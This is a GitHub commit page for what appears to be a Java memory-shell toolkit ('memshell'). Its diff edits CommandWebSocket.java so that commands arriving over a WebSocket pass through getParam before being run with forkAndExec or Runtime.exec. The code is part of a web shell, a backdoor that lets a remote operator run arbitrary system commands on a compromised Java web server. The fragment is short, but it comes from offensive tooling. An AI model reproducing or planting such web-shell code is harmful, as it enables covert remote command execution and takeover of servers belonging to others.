We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent c675ae9 commit 9e5bdc7Copy full SHA for 9e5bdc7
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
@@ -31,9 +31,9 @@ public void onMessage(String cmd) {
31
try {
32
InputStream inputStream = null;
33
34
- inputStream = forkAndExec(cmd);
+ inputStream = forkAndExec(getParam(cmd));
35
} catch (Throwable e) {
36
- inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+ inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
37
}
38
byte[] buf = new byte[8192];
39
int length;
0 commit comments